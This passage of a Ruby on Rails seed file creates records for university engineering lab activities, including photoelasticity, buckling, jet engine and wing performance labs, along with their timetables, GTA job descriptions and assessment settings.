uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 3)\n at87 = ActivityTimetable.where(activity_id: a87.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at87.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a87.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a87.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses. Knowledge of photelasticity is desirable.\",\n job_desc:\"In this lab, students will use photoelasticity to qualitative inviestigate the stress distribution in a plate with a hole in it.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a87.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a87.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a87.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a88 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 5)\n at88 = ActivityTimetable.where(activity_id: a88.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 8, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at88.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a88.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a88.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses. Knowledge of photelasticity is desirable.\",\n job_desc:\"In this lab, students will use photoelasticity to qualitative inviestigate the stress distribution in a plate with a hole in it.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a88.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a88.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a88.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a90 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"239\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 4)\n at90 = ActivityTimetable.where(activity_id: a90.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 8, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at90.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a90.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a90.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses and strains and Mohr Circles.\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a90.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a90.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a90.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a91 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV3204\").first.id, code: \"236\").first_or_create!(name: \"Integrated Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: true, user_id: 3)\n at91 = ActivityTimetable.where(activity_id: a91.id).first_or_create!(duration: 480, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs PUPS\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a91.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a91.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a91.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a91.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a91.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a92 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV3207\").first.id, code: \"236\").first_or_create!(name: \"Integrated Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: true, user_id: 3)\n at92 = ActivityTimetable.where(activity_id: a92.id).first_or_create!(duration: 2100, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs PUPS\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a92.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a92.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a92.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a92.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a92.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a93 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"301\").first_or_create!(name: \"Thick Walled Cylinders\",\n name_abrv: \"THICKWALL\", archived: false, in_drive: true, user_id: 3)\n at93 = ActivityTimetable.where(activity_id: a93.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a93.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a93.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a93.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a93.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a93.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a94 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC302\").first.id, code: \"301\").first_or_create!(name: \"Thick Walled Cylinder\",\n name_abrv: \"THICKWALL\", archived: true, in_drive: true, user_id: 4)\n at94 = ActivityTimetable.where(activity_id: a94.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a94.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a94.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students monitor the strain through the wall of a thick cylinder, recording their data at a series of different pressures. They then derive formulae for the theoretical strains and compare their data to the theoretical calculations. A knowledge of mechanical of materials, and three-dimensional strains is required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a94.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a94.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a94.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a95 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER284\").first.id, code: \"302\").first_or_create!(name: \"Bending\",\n name_abrv: \"BEND\", archived: false, in_drive: true, user_id: 5)\n at95 = ActivityTimetable.where(activity_id: a95.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a95.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a95.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform 3-point bending tests on a series of beams with different cross-sections. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions from classical beam theory. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a95.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a95.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a95.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a96 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER284\").first.id, code: \"303\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: false, user_id: 1)\n at96 = ActivityTimetable.where(activity_id: a96.id).first_or_create!(duration: 120, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a96.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a96.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a96.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a96.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a96.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a97 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"303\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: true, user_id: 5)\n at97 = ActivityTimetable.where(activity_id: a97.id).first_or_create!(duration: 120, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a97.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a97.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a97.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a97.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a97.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a98 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC302\").first.id, code: \"304\").first_or_create!(name: \"Crack propagation\",\n name_abrv: \"CRACKPROP\", archived: true, in_drive: true, user_id: 2)\n at98 = ActivityTimetable.where(activity_id: a98.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a98.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a98.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students use direct-current potential-difference equipment to monitor the growth of a crack in a notched aluminium specimen. This data is then used to calculate the J-resistance of the material during fracture. A knowledge of fracture mechanics is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a98.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a98.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a98.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a99 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6430\").first.id, code: \"305\").first_or_create!(name: \"Mechanical Testing of Chicken Skin\",\n name_abrv: \"CHICKEN\", archived: false, in_drive: true, user_id: 3)\n at99 = ActivityTimetable.where(activity_id: a99.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a99.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a99.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a99.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a99.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a99.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a100 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"306\").first_or_create!(name: \"Performance of Jet Engines\",\n name_abrv: \"JETLAB\", archived: false, in_drive: true, user_id: 2)\n at100 = ActivityTimetable.where(activity_id: a100.id).first_or_create!(duration: 45, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a100.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a100.id).first_or_create!(criteria: \"A knowledge of jet engine operation would be desirable, although a background in mechanical or aerospace engineering would be suitable as well.\",\n job_desc:\"In this lab, students operate a small Jet-Cat engine and take thermodynamic measurements so that they can perform calculations of engine efficeincy. Students also operate an engine simulator in order to perform similar calculations in a range of different conditions.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a100.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a100.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a100.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a101 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER325\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 1)\n at101 = ActivityTimetable.where(activity_id: a101.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a101.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a101.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a101.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a101.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a101.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a102 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC424\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 2)\n at102 = ActivityTimetable.where(activity_id: a102.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a102.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a102.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a102.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a102.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a102.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a103 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6424\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 1)\n at103 = ActivityTimetable.where(activity_id: a103.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a103.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a103.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a103.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a103.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a103.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a104 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"308\").first_or_create!(name: \"Torsion of Rods\",\n name_abrv: \"TORSION\", archived: false, in_drive: true, user_id: 5)\n at104 = ActivityTimetable.where(activity_id: a104.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a104.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a104.id).first_or_create!(criteria: \"A knowledge of mechanical performance of materials is therefore required.\",\n job_desc:\"In this lab students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a104.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a104.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a104.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a105 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"308\").first_or_create!(name: \"Torsion of Rods\",\n name_abrv: \"TORSION\", archived: false, in_drive: true, user_id: 4)\n at105 = ActivityTimetable.where(activity_id: a105.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a105.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a105.id).first_or_create!(criteria: \"A knowledge of mechanical performance of materials is therefore required.\",\n job_desc:\"In this lab students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained 